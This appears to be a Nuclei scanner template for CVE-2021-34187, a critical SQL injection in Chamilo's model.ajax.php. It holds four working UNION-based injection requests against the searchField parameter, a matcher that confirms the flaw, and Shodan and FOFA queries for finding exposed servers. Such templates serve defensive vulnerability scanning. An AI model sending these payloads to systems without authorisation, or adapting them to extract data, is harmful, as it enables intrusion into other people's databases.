id: CVE-2021-34187

info:
  name: Chamilo model.ajax.php - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.
  reference:
    - https://murat.one/?p=118
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34187
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34187
    cwe-id: CWE-89
    epss-score: 0.85485
    epss-percentile: 0.99275
    cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
  metadata:
    vendor: chamilo
    product: chamilo
    shodan-query: "X-Powered-By: Chamilo"
    fofa-query: 'banner="X-Powered-By: Chamilo"'
    verified: true
    max-request: 1
  tags: cve,cve2021,chamilo,sqli,kev

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: word
        part: content_type
        words:
          - 'application/json'
# digest: 4a0a00473045022100ea71c7628ad61ee947495d795572f0c755c05058d77e1bafd1a56e3b4d6568a602207738ccdce5a7e7402e9eaf1d5fde1ed20c487f6efefe4088066c9a418d384944:922c64590222798bb761d5b6d8e72950